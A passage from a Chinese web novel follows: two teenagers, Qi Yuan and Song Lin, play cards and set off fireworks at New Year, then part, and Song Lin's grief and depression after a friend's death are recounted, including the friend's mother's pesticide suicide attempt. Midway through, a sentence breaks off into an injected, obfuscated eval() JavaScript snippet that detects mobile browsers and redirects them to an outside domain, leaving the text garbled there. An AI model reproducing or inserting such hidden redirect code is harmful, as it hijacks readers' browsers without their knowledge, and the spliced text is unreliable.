于是四个人分成了两队,祁缘和殷鹏一组,宋嶙和宋健一组。抓到最后一张,祁缘泄了气,手里拿着一堆电话号码,一张大牌没有。 抓的时候插的参差不齐,她把手里的牌合上,再打开,重新摆。结果发现能组三个顺子,还好,要不然真要憋家了。 她这脸一会儿阴一会儿晴,宋嶙打了快十年牌,一看她这反应就知道怎么回事了,来了坏道儿,亮出自己的红桃三。 “我先出啊。”他说,然后往桌子上甩出两张牌来,“对4。” 如他所料,祁缘一顿,她要是拆开顺子就断了,摇头:“不要。” 到宋健了,他面不改色地往里垫了个对子,殷鹏感觉到祁缘应该是牌不好,那他就不能让他们好过了,打出个对Q。 祁缘还好有个对2,她这手烂牌只能拼一次了,要不然这顺子根本出不去。她握住那两张牌,等着宋嶙出,他是她上家,这局才刚开始,他总不能出个比她还大的吧? 可宋嶙好像会算牌似的,就那么恰巧地出了个对2。 她一脸震惊地看着他,宋嶙余光瞥见,差点绷不住了,还好他演技在线,强忍住把嘴角的笑意压了下去。 他一脸无辜地回应她:“咋了?” 可能是她误会他了,祁缘摇摇头,把脑袋重新垂了回去,“没事。” 结果下一轮又是这样,宋嶙作为她的上家,不是出炸弹,就是出比她大的顺子,祁缘手里握着牌,最后他都出完了,她还一张都没打出去。 他专门打她,祁缘这下发现端倪了,气鼓鼓地问他:“你是不是故意的?” 宋嶙摊开双手,贱兮兮地说:“这没办法呀,我手气好,抓的牌也尿性。不行吗?” 她不信:“那你怎么老拦着我不让我出?” 他也总能找到理由:“我在打外公呢,谁叫你的牌没我的大了?” 眼瞅着俩人谁也不让份,冯丽在中间把他们隔开,笑眯眯道:“你们俩怎么打个牌都能吵起来啊?” “没办法啊外婆,阿缘好胜心实在是太强了。” 他嘴一开一合,冯丽很明显中了他的邪,一下就被他给带歪了,扭头跟祁缘讲大道理:“阿缘,只是玩个游戏而已,不能太浮躁了。” 祁缘差点儿一口气憋过去,话到嘴边没说出来,呛的她直咳嗽。宋嶙见状又来了话:“你看你,外婆是不是说到你心坎上了,你心虚了?” 她深吸一口气,选择不跟他一般见识,伸手摸向洗好的牌,留下一句“你等着”。 “嗯呢嗯呢,我等你虐杀我。” 本来是大家一起玩的,不知道怎么突然间就变成了他们俩之间的战争了。殷鹏和宋健是除了自己队友谁都打,宋嶙和祁缘是谁也不打,专门打对方。 祁缘拿着牌,眼底气势汹汹,像要把宋嶙盯出个窟窿来。但无奈自己牌技不好,结局就是被他耍的团团转。 她就不理解,正常人都是挑小的先出,宋嶙却是来回穿插着出,打出的牌总是让人意想不到,从头到尾一直在骗她的牌,导致祁缘原本想好的计划全都被他打乱了。 不仅如此,他还老逼迫她拆牌,拆了出不去,不拆还是出不去。她明明已经很高度紧张了,却还是在神不知鬼不觉间被他牵着鼻子走了。 宋嶙每打完一把就要趴在桌上笑一会儿,他都玩了多少年了,曾经打遍天下无敌手,他确实有那个本事狂,尽管抓到一副很差劲的牌,他也能搁手里收拾收拾打出去。 祁缘已经被他拿捏将近十把了,她还一把没赢过,煎熬着打完最后一把,她直接撂挑子不玩了。 宋嶙捡起桌上的牌,整理好,明知故问:“咋还自暴自弃了?我还等你打爆我呢。” 祁缘白了他一眼:“再也不跟你打扑克了。” 他哼笑:“菜就多练。” 宋健看不下去了,替祁缘回怼道:“哪有你那么收拾人家的?对女生一点儿都不温柔,我看你将来谈恋爱了咋整。” 宋嶙纳了闷:“这跟谈恋爱有什么关系?” “一点儿情商没有。” “不是,我怎么就没情商了?” “说你没有就是没有。” 冬季总是昼短夜长,一天已经过去大半,时间来到下午五点,暮色笼罩大地,与白雪混淆,为天地间镀上了一层金色的光。 晚上包饺子的活家里几个大人就能干,冯丽把他们两个推出去,都过年了哪有孩子在家闷着的道理?她让他们去找村里的小孩儿玩。 祁缘虽然平时不怎么走动,那邻里邻居住了都快两年了,她怎么可能不知道那帮小孩儿多大?有两个倒是跟她差不多大,但都走了,被城里的父母接过去过年了。剩下的一个个都是小学生,好像就一个上了初一,她想都没想,摇头晃脑满口拒绝。 冯丽催他俩:“平时在家憋着就算了,过年还不出去溜达溜达?” 祁缘扭扭捏捏不想动,宋嶙二话不说,下地穿衣服,“外婆,我带阿缘去河边放烟花。” “烟花?”她从床上坐起来,他还记得。 冯丽这才展开笑颜:“嗯,那也行,反正记得注意安全就行。” 宋健的车就停在门外,宋嶙把后备箱打开,祁缘站他旁边,映入眼帘的是整整一大箱的烟花。 她探头去看,大概有十几种,还都是不重样 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等到夕阳西下,夜幕降临,他从口袋里拿出来个打火机,想了想,冲祁缘抬了抬手,“你放不?” 她紧着摇头,“不放。” 然后躲出去挺老远,站在树后面,只歪出来半个脑袋。 他闷笑一声:“胆小鬼。” 宋嶙把引线抽出来,单膝跪在地上,“吧嗒”一声,打火机火嘴处燃起一束火光。挨到引线处,细长的线条瞬间被点燃,圆滚滚的火球逐渐移向烟花盒底。 片刻后宋嶙站了起来,不紧不慢地往后退了几步,祁缘在后面光是看着都替他着急,引线都着了还在那里看着,不知道往后跑。 她刚要开口,几束火光“砰砰砰”地冲向天空,下一秒在平静的云面上炸开,变成了五颜六色的烟,像麦穗一样垂了下来,有种火树银花般的灿烂。 祁缘扬起头,靠捂住耳朵来隔绝外界震耳欲聋的响声,说不兴奋都是假的,她心脏砰砰跳着,眼底亮起光。 声响大概持续了不到半分钟,在空中最后一束火焰燃烧殆尽的时候,天色又黯淡下来了。要不是能闻到残留的火药味儿,她真觉得刚才灿烂的火花就是一场梦。 她还在对刚才的场景心存留恋,头垂下那一刻发现宋嶙正在看着她,他笑问:“怎么样?好不好看?” 祁缘疯狂点头:“好看!” 宋嶙又从箱子里拿出几板水母烟花,一一摆放在冰面上,引线太短,她又不敢放,于是他找了几根长引线接上去,目的是为了给自己争取能把所有烟花点燃的时间。 他这次点燃后就躲开了,转眼间水母样的火光缓缓升空,像是深海里的精灵,正在为跃出冰冷的盒子获得自由而感到高兴。 祁缘跟它们一样,扬起的唇角就没下来过。她从未想过除了亲人竟然会有人这么对她,为她这么一个平平无奇的人准备一场这样绚烂的烟花盛宴。 她现在心思全都在烟花上,根本没注意到远处宋嶙向她投来的目光。今晚的烟花他无暇顾及,那双漆黑的眼睛逐渐变得明亮,装满的是少年的赤诚和爱意。 以前过年他都是和陈子涛和何浩楠待在一起,偶尔会出去放放烟花,但更多的时候是窝在家里打游戏。他还是第一次,和一个女生一起过年。 宋嶙看她看的入神,过了半天才去看头顶的烟花。 他今年的新年愿望是:希望他们还能有好多好多年。 33. 第 33 章 观赏型烟花放完了,剩下的都是手持类型的了。祁缘在树后躲了这么久,她还一个都没参与,这下直接被宋嶙给强制性拽出来了。 手心触碰,她的心跟着颤了下。他的手好温暖。 宋嶙也感受到她手心的温度,捏了捏,眉心轻跳:“你穿这么厚手还凉成这样?” 厚?祁缘低下头,她里面就穿了一件卫衣,还是薄款的,只是外面这个棉袄鼓鼓囊囊看上去有点厚而已。 她刚想说“怎么就厚了”,视线落到他身上,她这才发现他今天只穿了一件大衣,下面是条牛仔裤,秋裤估计又没穿,脚上蹬着一双板鞋。 他虽然还在脖子上带了一条围巾,但那个料子单薄一层,看上去并不怎么保暖,在寒冷的冬夜里似乎并不能起到什么作用。这么对比下来,她好像确实比他穿的厚一点。 宋嶙把围巾摘下来给她系上,想起来口袋里还有个暖宝宝,撕开包装卷起来塞她手上,“一会儿就热乎了。” 他背过去,想了想,回头把包装袋塞她衣服里,自顾自嘀咕道:“乱扔垃圾不好。” “……” 在暖宝宝的作用下,她冻僵的双手渐渐回温,宋嶙摸了摸,温度刚好。他把暖宝宝夺过来,把手持风车塞给她。 祁缘没放过烟花,更何况还是这种近距离放的,她特别害怕火星掉落时崩到自己,头摇的像拨浪鼓,满脸写着抗拒俩字。 “你光看有什么意思?害怕没事儿,体验一次就好了。” “不行不行,我……” 她还没说完,宋嶙在背后圈住她,大手覆上她攥着杆子的手,微微俯身,鼻息呼在她耳后,另一只手拿着打火机,点燃下面露出的引线。 “啊!” 火苗烧到里部,风车上面的圆环缓缓转起来了,向四周喷射出细密的火花,璀璨又浪漫。祁缘哆嗦着手,胳膊僵在那里,伸的又远又直。 宋嶙笑她:“你睁眼啊,我在你身后你怕什么?” “炸开崩到的又不是你!” “……”他又气又无奈,道:“我比你高三十厘米,你站我前边都没植物大战僵尸里的土豆墙高,就算往后崩了不也是咱俩一起受伤吗?” 好像是这样的。 祁缘这才慢慢睁开眼,终于放下心来欣赏眼前飞快转动的火花风车,她情不自禁地弯起唇角,眼底闪着光。 突然感觉也没那么可怕。 宋嶙在后面叹了口气,这姑娘有时候是真气人。 正如他所说的,体验一次就好了。有第一次就敢有第二次,这下祁缘也不怕了,自己就敢拿着,但还是需要宋嶙帮忙点火。 “这下我成工具人了。”他点燃手里那根,递给她。 箱子里的烟花数量就那么多,两人同时一起放也就下的快了。后来里面没几根了,怕她不够玩,宋嶙干脆退到旁边看着她玩。 年难留,时易损。最后一根舞龙棒在她手上燃烧殆尽时,眼前陷入一片黑暗,嗡嗡作响的耳根子也在这一刻跟着清净了。 祁缘从来没玩过这么多种类的烟花,她现在特别满足,唯一遗憾的一点就是还没玩过曾经风靡一时的仙女棒。 下次吧,她想着。 祁缘垂头,看向地面上的一片狼藉,把那个原本装烟花的箱子拿过来,刚想捡,伸出去的胳膊被宋嶙一把抓住。 “还没放完呢,你那么着急干什么?” 她顿住,一动不动地看着他手上的几根仙女棒。 宋嶙把她拉起来,点燃后递给她。 祁缘还没回过神来,手中窜起的火花炸开的声音刺啦刺啦响,宋嶙哼着小曲儿,打趣道:“我有一根仙女棒,阿缘变好变漂亮。” 她终于有点儿反应了,噗嗤一声笑出来:“这个调调,怎么感觉有点儿耳熟?” “小时候看的动画片里面的。” “怪不得。”她轻轻点了点头,空气安静了两秒,她听见自己问:“你买了那么多烟花,每个都比这个好看,为什么还会买这种平平无奇的仙女棒?” 她不相信这是个巧合。 宋嶙本来也没想瞒她,坦白道:“是昨天外婆给我打电话说的,她说你喜欢这玩意儿,特意让我买几根拿过来。” “这样啊……”祁缘微弱地开口,声线带着颤音。她猜到了,她就知道肯定是冯丽在背后出谋划策的,从她那天那个表情就能看出来,虽然当时没买成,但事后肯定要找机会补给她。 外婆对她一直是这样的。 星火燃烧,情感上头,使她眼眶发酸。 仙女棒很美,她爱的人都很好。 宋嶙抬了抬下巴:“十八岁了,新年愿望许一下吧。” 祁缘想了想,闭上眼睛。 “愿四海升平,愿顺遂无虞。” 五分钟后,所有的亮光都已熄灭,天色也黑的彻底。 宋嶙打开手电,让祁缘拿着,顺带着把刚才收好的暖宝宝还给她。然后掏出自己事先准备好的水,挨个洒了一点儿,最后再蹲下来收拾这满地的烟花残骸。 她想帮他,宋嶙不让,皱着眉让她起来,手上的动作不停,“这玩意儿又黑又黏的哪能让你干?再说了,一共也没多少东西,你在旁边帮我照着点儿就行。” 他不以为意,好像这种事情本来就应该让他一个人做一样。在这种冰天雪地的地方待了这么久,祁缘的目光落在他身上,问他:“你不冷吗?” 闻言,宋嶙趁着闲暇之际看了眼自己的穿搭,反问:“你就说好不好看?” 她很直白地说:“也就只剩好看了。” 宋嶙没听出来她话里有话,抽空竖起来个大拇指,“跟我一样有品。” “……”祁缘蹲他旁边,宋嶙侧头打量她一眼,问:“你还冷啊?那我快点儿收拾,收拾完咱们就……” “宋嶙,”她看着他,眼底渐渐蒙上一层水雾,眸中布满落寞与不舍,“你下次什么时候回来?” 还好天色够暗,他看不清她脸上的表情,但光是听这颤音就足以让他心乱如麻。宋嶙抬着的手一顿,不知不觉这一天的时间已经匆匆过去了,果然,人还是在靠近幸福的过程中才最幸福。 他不说话,因为他给不了准确的回答。祁缘见状不死心地又问了一遍:“下次回来是什么时候?” 宋嶙放轻呼吸,不想让她在这么喜庆的日子里还想这些有的没的,笑笑:“那没准儿,我还兴许一开学就回来跟你当同桌了呢。” 周围安静了几秒,她跟着笑,知道这不可能,但还是配合他:“是吗?那我等你。” 地面收拾的差不多了,这箱子宋嶙怎么搬来的就怎么搬回去。走到村口也就几分钟,他抬手把它们统统扔到垃圾箱里,拍了拍手上的灰尘,扭头跟着祁缘往家走。 殷鹏他们早就已经包好饺子了,都已经下到锅里了,现在是半生不熟的状态。冯丽正坐在灶台边烤火,一看两个孩子回来了,赶忙站起来给他们腾地方。 太冷了,谁也不推辞了。祁缘五指张开覆在火焰上,总算回了点温。 宋嶙笑她:“握着暖宝宝还能冻成这样。” “我和你能比吗?” “怎么?” 祁缘在他身上扫了一眼:“你皮糙肉厚的当然不怕冻了。” “……”宋嶙咬着牙,算了,不和她一般见识。 饺子是牛肉馅的,冯丽手艺好,调的馅料味道很香,大家都爱吃。她还特意往里放了两个硬币,据说吃到的那个人在新的一年里会财源广进、事事顺遂,这是福气和好运的象征。 虽然谁都想图个寓意,但大人吃这种东西都是随缘,不争不抢。只有他们两个小孩儿,必须先打量一番再决定夹哪个,然后从中挑出最合眼缘那一个夹到碗里。 结果最后只有宋健吃到了一个,还剩一个,饺子都吃没了也没人吃到。 众人:“……” 宋嶙看着空空荡荡的盘子,把嘴里的饺子咽下去,放下碗筷:“外婆你是不是记错了?是不是只包了一个?” 冯丽拍大腿:“怎么可能?不会记错的,我们当时拿出来一个一块的,一个五毛的,这两个带钱的饺子都是我包的。你爸吃到个一块的,那应该还有个五毛的呀!” 一个个纳了闷,殷鹏小声嘀咕:“大过年的这可见鬼了。” 饭后洗碗,锅还没刷,让殷鹏干点什么肯定要留个尾巴给她善后。冯丽叹了口气,拿起锅刷,搅和几下把上面的 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“你们父子搬走了,这平常也见不到,那么远回来一趟也怪费劲的。”殷鹏咬着嘴唇,想了想,说:“等开春吧,开春你领阿嶙过来,那阵我们家野菜啥的都下来了,家里种的没有添加剂,到时候给你们多拿点儿回去。” 宋健笑说:“行,正好,我还挺爱吃那玩意儿的。” 他们两个你一言我一语的,话题多的是,怎么也聊不完。这样也给了其他人道别的机会,宋嶙坐在后边,一直往屋里望,问冯丽:“外婆,阿缘上个厕所上这么半天吗?” “应该马上就出来了吧。” 话音刚落,祁缘从屋子里探出头来,跑到车子跟前,把手里的两个红包递给他。 他不接,她就顺着车窗扔进去。宋嶙咳了咳:“这是干嘛?” 祁缘沉默片刻,直视他,开口道:“宋嶙,新年快乐。” 安静了一瞬,他好像有点儿委屈,低下头,声音闷闷的:“早上怎么不说?要等到现在才说。” “都说了你没有给我拜年。” “一天净执着这个事儿了。” 车子启动了,引擎的声音嗡嗡响。祁缘有太多话卡在嗓子眼儿里说不出来,她深吸一口气,爱恋与思念全都咽下去,挑了其中最没意义的那句话说出来。 “回去了好好学习,下次回来我要考你。” 宋嶙就知道她要说这句话,这姑娘别扭的很,复杂的心情溢于言表,到头来还以为自己很会伪装。 他配合:“行,你也是,别到时候被我给超过去了。” “那你真是在做梦。” 驻足的时间越久,彼此的心思就越沉重。宋健看出来两人内心的不舍,但也只能打断:“行了,你们赶紧回去吧,外面这么冷就别搁这站着了,冻感冒了可就得不偿失了。” 殷鹏拉着祁缘往后退了一步,给他们让路:“行,你们也注意安全啊。” “哎好,再见。” “再见。” 尾灯闪烁,车子消失在黑夜尽头。空中鞭炮炸开的声音轰隆轰隆响,她却只能听到自己此起彼伏的心跳声,重到可以盖过所有声音。 这种失落感,她又要体会一次了。 睡前又看了会儿春节联欢晚会,节目一直播到了十二点半才结束。 每天这时候外面都静悄悄的,今天不同,回头一看,外面的烟花依旧绽放。 在这普天同庆的日子里,有人庆祝现在,有人祝福未来。 祁缘钻进被窝,突然想起棉袄里还有垃圾没扔。 她把手伸进口袋,一顿,拿出来的不只是暖宝宝的包装袋,还有两个红包。 祁缘愣了好一会儿,把它们摆在床上,封面一个写着宋健,一个写着宋嶙。字体看上去干净利落,苍劲而有力。 想都不用想,肯定是宋健写的,宋嶙写字不好看。 她感叹一声,抬手先把宋健包的红包打开,不拆不知道,摊开一看,居然有五百块钱。 她睁大眼,又去开宋嶙的。 他竟然也塞了三百块钱。 祁缘把钱抖出来,宋嶙的红包和宋健的不太一样,他在里面多塞了张字条。 是他写给她的祝福语,引用的是简书里的一句话。 “新的一年,愿阿缘:常开心,有惊喜,有趣有盼,无灾无难。” 34. 第 34 章 寒假来的慢,去的倒是挺快。高二下学期是高中阶段的关键转折点,再加上老师们想快点结课,学校要赶进度,原定正月二十开学,现在提前到正月初十了。 祁缘这些天在家散漫惯了,第一天开学就睡过头了,踩着铃声进班,险些迟到。 崔荣正站在讲台前清点人数,班级里众人配合地应着,她这一出现所有人的目光全都向她投了过来,动作整齐划一。祁缘一瞬间红了脸,胸脯还在轻轻起伏着,她闷声解释道:“老师,我早上睡过头了。” 该怎么样就怎么样,她就实话实说也不找借口,崔荣喜欢诚实的孩子,看向她时面孔总是温和的,道:“没事儿,进来吧。这不是刚开学吗,作息调整不过来也理解。” “谢谢老师。”祁缘攥紧书包带,抬着步子往后排走去。 有个男生一脸不服:“那我上学期开学也是这个时间到的,崔哥你怎么就让我出去站着?” 他不提这事崔荣都忘了,后者推了下眼镜,跟他掰扯:“你诚实吗?一天为了请假嘴里含着八百个理由,这次说你姑姑生病了,下次又说她骑车掉沟里,你怎么就可着她一个人祸祸?是不是只有你才能找出这么离谱的理由?” 班上的人笑的前仰后合,有一个跟他玩得好的直接把他拆穿了:“哈哈哈哈,崔哥,他根本就没有姑姑!” 崔荣一听这话更来气了:“你下次说出花来这假我都不批!” 那男生立马耷拉着脑袋,“哎呦我真服了。” 被他这么一打岔崔荣都忘了自己刚才说到哪了,苦思冥想半天才记起来,拿出上次期末考试的成绩单,说:“又是新的一学期,咱们该换座位了。” 祁缘进来的时候还在想他们的桌上怎么都是空的,被他这么一提醒她才想起来,她都忘了还有这个流程了。 崔荣拿在手上先是观察了一下,他们班以前的成绩单简直不忍直视,班级排名次次都是高二年组的最后一名。 但这次考试明显进步了很多,有些学生开窍了,这段时间一直奋笔疾书甚至都超过了一班的学生,看来他每天苦口婆心,强行给他们灌鸡汤的方法确实很管用。 崔荣清了清嗓子,从第一名开始依次往后念成绩,念到谁谁就选,排名越靠前,选择的机会也就越多。 祁缘期中考试时还是班级第十,这次直接上升至班级第四,前面三个已经选好座位了,很快就念到她了。 “祁缘进步很快啊,你打算坐哪儿?第一排还有两个座位呢,或者第二排也行,看你怎么选吧。” 崔荣笑说,其实他还是觉得第二排比较好,离黑板不是特别近,视野又很好。 谁知他话音刚落祁缘就摇了摇头,连考虑都没考虑,“老师,我就坐这吧,不动了。” 她这个回答让所有人都很意外,学生们视线齐刷刷地扫了过来,有些人想往前坐还坐不了,居然还有人学习好还想往后坐的。 崔荣一时没反应过来,半晌才找回自己的声音:“你还坐这里?” “嗯。” “想好了啊?一但下了决定可就没有后悔的余地了。” 何浩楠在后面听的一愣,劝她:“这里这么靠后有什么好的?你往前坐坐吧。” 祁缘没听他的,回答的肯定:“嗯,我想好了老师。” “……那行吧。”崔荣说完,继续往后念了。 何浩楠一副恨铁不成钢的样子看着她:“这破地方有什么好的?你还赖在这里干什么?宋嶙他不会回来了。” 祁缘明白这种概率很小,但还是给自己下催眠药,她轻声道:“万一呢?” “没有万一。” …… 除夕那天晚上回去的太晚,道上又都是冰,宋健觉得开车不太安全,想着带宋嶙在北城的房子里住一晚上再回去。 一路上他们心情很好,宋嶙甚至哼起了歌儿。看到自己儿子逐渐从阴霾里走出来了,宋健也长舒了一口气,心里打算再过段时间他们就搬回来住了。 下车后把车门锁好,宋嶙单肩挎着书包走在前面,宋健走他后面,两人一前一后上楼。后者正在兜里翻找着钥匙,结果前面那人不知怎么突然停了下来,宋健猝不及防地撞在了宋嶙的后背上。 “干啥呢……”宋健抱怨的话说出来一半,一抬眼就看到他们家的门上和墙上都被泼满了五颜六色的油漆。应该很久之前的事了,现在各种颜色干巴巴的混合在一起,再加上亮起的声控灯是暖黄色,看上去十分恶心。 想都不用想就知道这是谁干的,宋健气的发昏,可眼下也只能忍着,他现在更关心的是宋嶙的情绪状态。 显然他被刺激到了,宋嶙僵在原地,那些痛苦的回忆一股脑儿地从心底涌出来,只在一瞬间就压的他喘不过气。 他感觉到自己攥起的拳头在颤抖,宋健安慰地拍了拍他的肩膀,宽他的心:“儿子,都过去了,爸那段时间是怎么和你说的来着?捋清来龙去脉以后是不是发现这一切根本就不是你的错?所以还是不能太在意,最后伤害的不止你自己,还有一切爱你的人。” 自从宋母离开以后宋健是又当爹又当妈,现在又要当他的心理医生,宋嶙长叹一口气,装作一脸释然的样子,笑笑。 “没事的爸,我就是一时有点儿没反应过来,你说的那些我知道的,我总不能完蛋到一直把自己困在回忆里吧?” 宋健脸上这才有点笑意:“这就对了,儿子,你能想明白比啥都强。咱俩先进屋吧,明天我去买点儿脱漆剂,这玩意儿到时候往上一喷就没了。” “嗯。” 宋健绕过他上去开门,宋嶙在后面站着,背靠在扶手上,腿正止不住地打着哆嗦。 那晚他们联欢晚会都没看,宋健一进屋就把他赶进卧室让他去睡觉。宋嶙也没反驳,进屋就把门给关上了。 结果躺在床上翻来覆去好一会儿他都睡不着,满脑子都是那些糟心事,他难受的头疼,抬手把正放在床边充电的手机给拔了,给何浩楠发微信,问他睡觉没有。 那边很快回复:没有,刚吃完年夜饭。 宋嶙:我去你家待会儿。 何浩楠:来呗,用不用我出去接你? 宋嶙说不用,翻了个身下床,摸起椅子上搭着的衣服就出门了。尽管他开门的声音控制到了最小,可屋里的宋健还是听到了。 他站在窗前向楼下看去,心像被刀子扎了一样疼。 这样的日子到底什么时候是个头? 宋嶙到何浩楠家时已经将近十二点了,他进屋的时候何浩楠爸妈正在看电视,余光瞟到他先是一愣,面上的表情既微妙又复杂。 宋嶙尽量不去想他们这表情是什么含义,牵起僵硬的嘴角:“叔叔阿姨过年好。” 何父率先反应过来,点点头:“好……好,也祝阿嶙新年快乐哈。” 这时何浩楠从外边进来,手里提着一箱罐装啤酒,看见宋嶙都已经来了,他欣喜道:“来的挺快啊,我本来想把酒送回来之后出去接你的。” 一转眼他又看到他爸妈也在这儿站着,宋嶙看到了何浩楠眼底的紧张,哪怕转瞬即逝,也被他完完全全的捕捉到了。 “啊……妈,我俩就今天过年喝点儿,以后就不喝了。” 何浩楠说完,一手拎着啤酒,另一只手推着宋嶙进屋。宋嶙淡淡垂眼,他笑的挺假。 卧室门扑通一声关上了,门外的两人大概站了一分钟才回过神来,女人这才开口:“咱俩刚才是不是表现的有点儿太明显了?” 男人拉着她重新坐回去:“没事儿,浩楠交代咱俩的事又没说出去。孩子也聪明,知道气氛不对还知道用啤酒打掩护呢。” “平时学习都没见他这么会整。” 屋内,宋嶙正靠着床坐在地垫上,胳膊搭在立起那条腿的膝盖处,脸颊通红,那是他走来的时候在外面冻的。 一瓶啤酒下肚,瓶身被他捏的烂瘪。 空气在这里僵着,一直沉默着也不是个办法,见他也没个说话的打算,找话题这事自然而然也就落在何浩楠身上了。他问他:“你不是说你跟你爸去祁缘家过年了吗?我寻思你今年不能过来了呢。” 说完,他把果盘推到他旁边,让他吃点东西,别光顾着喝酒。 宋嶙这才终于有了点动静,张了张口,找回自己的声音:“都去完回来了,打算在北城住一晚再回去,躺了半天睡不着我就过来了。” 何浩楠点点头:“啊,那你想没想过什么时候回来?” 他顿了下,没答,而是向何浩楠打听别的事。 “陈子涛坟在哪儿?你知道不?” 何浩楠一怔:“你想干啥?” 看他这么大的反应,宋嶙苦笑道:“我能干啥?就是想他了呗。” 何浩楠挥挥手,“大过年的可别唠这些了,让你爸知道还得骂你。你就寻思寻思咋能赶紧走出来,本来就不是你的错,根本没人怪你,这现在把你折磨的跟个魔怔似的,我看着还怪心疼呢。” 宋嶙仰头喝了口酒,心事全写在脸上,“怎么能不魔怔?屋门让泼了一下子油漆,比那街头涂鸦都带劲。” “……” 还有这事?何浩楠还真不知道。 “他爸妈呢?我感觉我应该去慰问一下他们。”他又问。 他真是喝蒙圈了,“慰问”两个字都挤出来了。可现在就算是真让他去,他也连他们人影都见不到。 这是年前的事。 陈母还是接受不了这个事实,腊月二十三那天喝了农药,现在已经转到离家很远的大医院去了。这几天一直在ICU里停着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16014014|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,据说医院下了好几次病危通知书,眼下就算是吊着一口气,躺在床上奄奄一息。 她这人有点儿偏激,想一出是一出,只认死理,私下宋健不是没找过她谈过,就连陈父都看明白是怎么回事了,她还是咬着牙不松口,就一口咬定这事全都是宋嶙的错。 她越是这般不依不挠,心中的执念也就越来越深,一遍遍回想过去不懂得向前看,最后思想禁锢在笼子里,到头来只会害了她自己。 陈父之前是随着她胡搅蛮缠了一段时间,但他现在打算放过宋嶙,也放过他自己。于是他在医院旁边租了个房子,就算陈母已经无力回天了,他也不打算回来了。 人生不过三万天,他看的开,余生就打算为自己而活,至于离开他的人,他相信他们早晚都会再次相见的。 何浩楠骗了他,故作轻松道:“他们搬走了,以后都不回来了。” 宋嶙是有点醉了,但意识还算清醒,他浅笑一声,呼出的气体带着酒精味:“他妈恨不得把我拉下去陪他,能这么一声不吭就搬走了?” 他分析完还不忘在他心上补刀:“何浩楠你编瞎话一点技术水平都没有。” “不信?”何浩楠撑着地面站起来,把门推开,拉了个证人进来。 “爸,陈子涛爸妈是不是搬走了?” 因为事先他们已经商量好了,何父回答的十分自然:“是啊,咋了?” “宋嶙他不信,老觉得我在骗人。” 这时何母进来,把宋嶙手里的酒拿走,换成一杯温开水塞给他。她摸摸他的头,看到他的脸就像看到他母亲一样,两人真是太像了,清秀的皮囊下都裹着一颗细腻的心。 虽然陈母和宋母都是她的好闺蜜,但这件事她确实要站在宋嶙这边,他这段时间一直在承受着别人施加给他的痛苦,要是他妈妈还在世的话,指不定要多心疼。 她宽慰道:“阿嶙,这事都发生一个多月了,就连陈子涛父母都不打算再留恋过去了,只有你还在止步不前。你也不是什么小孩子了,长大了就应该分的清我们对你说的这些是好是坏,现在的你依靠不了任何人,要相信眼前的黑暗只是一时的,所有的一切都要靠你自己走出来。” 她在跟他讲道理,同时也在宽他的心。她实在不忍心就这么一直看着他堕落,像是以他妈妈灵魂的身份,在替他在天之灵的妈妈爱他。 宋嶙眼神空洞,他父母真的走出来了吗? 如果他在来的时候没有遇到别人,他们轮番劝他,他也就信了。 可事实偏不是如此。 宋嶙眼底都是悲痛,他痛苦地开口:“陈阿姨喝农药了,是不是?” 他在来的路上遇到了喜欢宋健那个女的,这件事是她告诉他的,他本来不想相信,可除了他以外在场的三人皆是一惊,他一瞬间就明白怎么回事了,原来这真的就是事实。 “谁她妈告诉你的?”何浩楠没忍住大吼一声,他都够可怜的了,到底是谁还见不得他好? 除夕本应该是喜庆祥和的日子,结果被他这么一搅和他们家的年也没过好,宋嶙踉跄着起身,腿麻了没站稳,何父眼疾手快伸手拉住了他。 “没谁,我回家了。” 说完他就要走,何浩楠拉住他,不信写在脸上。 宋嶙看着手臂上的手,强颜欢笑道:“干什么?舍不得我了?” “颓成这样你说你回家?哪个傻逼能信?” 何母跟着挽留:“在这儿住一宿吧,浩楠的床又不是睡不下,回家再给你爸吵醒了。” 他们不了解宋健,但他了解。宋嶙摇了摇头:“我出来的时候他肯定醒了,我不回去他是不会睡的。” “那我给你爸打个电话证明一下吧。”何父一边说一边在口袋里摸手机,宋嶙不想麻烦他们了,一口拒绝:“不用了叔,我真走了,这么晚了,你们一会儿也赶紧睡觉吧。” 他不给他们反应的机会,转瞬间消失在了夜色里,何母怼了怼何浩楠:“你去,在后面偷偷跟着看着点,要不然他自己回去我也不放心。” “知道了妈。” 那晚宋嶙确实没有去别的地方,他真就按自己说的,连个弯都没拐就回家了。 “后来怎么样他一直没跟我说,反正就报喜不报忧,我还是听宋叔说的,说他抑郁了,估计再回来也就是毕业高考了。” 何浩楠说,他知道宋嶙肯定也不会告诉她的,但祁缘对他来说是特殊的存在,她应该知道这一切。 说实话,听完这些她挺难受的,但她没让自己的情绪外露,只是“嗯”了一声,就转过头去写练习册了。 可能在别人眼里何浩楠说了这么多她只回复一个字很冷漠,却也只有真正了解她的人才明白她现在究竟有多痛苦。 无声的心痛才最令人窒息。 35. 第 35 章 虽然春天已经到来,但明显转暖是在四月份左右,迎面吹来的不再是刺骨的寒风,而是草木复苏的枝芽气息。 学校院内那棵矗立的老树,原本光秃秃的枝干渐渐长出了新的绿芽,树下也开始长出了好多花花草草,浓密的一片,看上去生机勃勃。 学校之前开会说要给各班的早读打分,分高的班级有奖励,分低的班级有惩罚。正是有了这么个规则,最近早自习朗诵的声音都格外洪亮。 四班就属嗓门最大,于是崔荣每天到点了就往讲台前边一站,茶水也不喝了,就盯着他们读。时间一长,他发现他这么做还挺有效果的,上周在大会上他们班就被校长点名表扬了。 然而好景不长,可能是这两个月学校一直在赶进度,老师们讲课讲的飞快,有的学生迫于学业压力心情变得焦躁,一班甚至出现了一个撕书的。 这么下去不是办法,校长无奈找到几个主任商量了一下,最后一致决定组织一次春游踏青活动,用这个方式让学生放松放松。 祁缘对这种活动兴趣不大,她本来想请假的,可冯丽不同意,必须让她参加。 明天不用穿校服,冯丽在她衣柜里帮她找衣服,一边翻一边念叨:“这些天除了学习还是学习,你不累我还心疼呢,出去溜达溜达,对你有好处。” 